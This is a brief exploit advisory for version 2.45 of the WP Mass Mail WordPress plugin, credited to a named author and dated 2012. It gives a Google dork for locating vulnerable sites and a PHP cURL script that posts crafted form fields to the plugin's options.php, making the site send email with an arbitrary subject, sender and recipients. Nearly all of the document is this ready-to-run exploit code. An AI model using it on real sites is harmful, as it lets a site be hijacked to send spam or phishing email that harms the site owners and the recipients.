##################################################
# Description : Wordpress Plugins - WP Mass Mail Send Mass Email 
Vulnerability
# Version : 2.45
# Link : http://wordpress.org/extend/plugins/wp-mass-mail/
# Plugins : http://downloads.wordpress.org/plugin/wp-mass-mail.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/wp-mass-mail/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################

Exploit : Send Mass Email

PostMail.php
<?php

$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wp-mass-mail/options.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('send'=>"send",
     'subject'=>'test',
     'name'=>'true',
     'from'=>'test@exemple.com',
     'body'=>'body',
     'address1'=>'test1@exemple.com',
     'address2'=>'test2@exemple.com',
     'reply'=>'test@exemple.com'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>